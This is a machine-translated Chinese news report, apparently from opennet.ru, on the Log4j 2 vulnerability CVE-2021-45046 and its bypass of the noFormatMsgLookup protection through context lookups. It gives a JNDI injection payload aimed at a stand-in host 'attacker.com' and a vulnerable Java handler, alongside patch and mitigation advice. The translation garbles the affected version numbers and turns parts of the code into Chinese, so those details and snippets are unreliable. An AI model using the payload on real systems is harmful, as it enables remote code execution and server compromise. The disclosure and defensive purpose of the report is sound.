在 Log4j 2 库中 JNDI 替换的实现中发现了另一个漏洞 (CVE-2021-45046)，尽管在版本 2.15 中添加了修复程序并且无论使用“log4j2.noFormatMsgLookup”设置进行保护，该漏洞还是会发生。 该问题主要对于使用“noFormatMsgLookup”标志进行保护的旧版本 Log4j 2 来说很危险，因为它可以绕过针对先前漏洞（Log4Shell、CVE-2021-44228）的保护，该漏洞允许您在服务器。 对于 2.15 版本的用户，利用仅限于为应用程序因可用资源耗尽而崩溃创造条件。
该漏洞仅发生在使用上下文查找（例如 ${ctx:loginId}）或线程上下文映射（例如 %X、%mdc 和 %MDC）进行日志记录的系统上。 操作归结为在应用程序中使用定义格式化输出到日志的规则的上下文查询或 MDC 模板时，创建将包含 JNDI 替换的数据输出到日志的条件。
LunaSec 的研究人员指出，对于低于 4 的 Log2.15j 版本，该漏洞可作为 Log4Shell 攻击的新载体，如果在输出到日志时使用 ThreadContext 表达式（外部数据进入其中，无论外部数据如何），都会导致代码执行。包含以保护标志“noMsgFormatLookups”或模板“%m{nolookups}”。
保护绕过归结为以下事实：该表达式不是直接替换“${jndi:ldap://attacker.com/a}”，而是通过规则中使用的中间变量的值来替换，用于将输出格式化为日志。 例如，如果输出到日志时使用了上下文查询${ctx:apiversion}，则可以通过将数据“${jndi:ldap://attacker.com/a}”代入来进行攻击。写入 apiversion 变量的值。 易受攻击的代码示例：appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // 将“X-Api-Version”HTTP 标头值传递给 ThreadContext ThreadContext.put("apiversion" , api 版本 ); // 输出到日志时，将使用替换的方式处理 apiversion 的外部值 ${ctx:apiversion} logger.info("Received a request for API version"); 返回“你好，世界！”； }
在 Log4j 2.15 中，向 ThreadContext 传递值时可能会利用该漏洞执行 DoS 攻击，从而导致输出格式模式循环。
已发布更新 2.16 和 2.12.2 以阻止该漏洞。 在 Log4j 2.16 分支中，除了版本 2.15 中实现的修复以及将 JNDI LDAP 查询绑定到“localhost”之外，默认情况下完全禁用 JNDI 功能，并且删除了对消息替换模式的支持。 作为安全解决方法，建议从类路径中删除 JndiLookup 类（例如“zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”）。
您可以在发行版（Debian、Ubuntu、RHEL、SUSE、Fedora、Arch）和 Java 平台制造商（GitHub、Docker、Oracle、vmWare、Broadcom 和 Amazon / AWS、Juniper、VMware、思科、IBM、红帽、MongoDB、Okta、SolarWinds、赛门铁克、McAfee、SonicWall、FortiGuard、Ubiquiti、F-Secure 等）。
来源： opennet.ru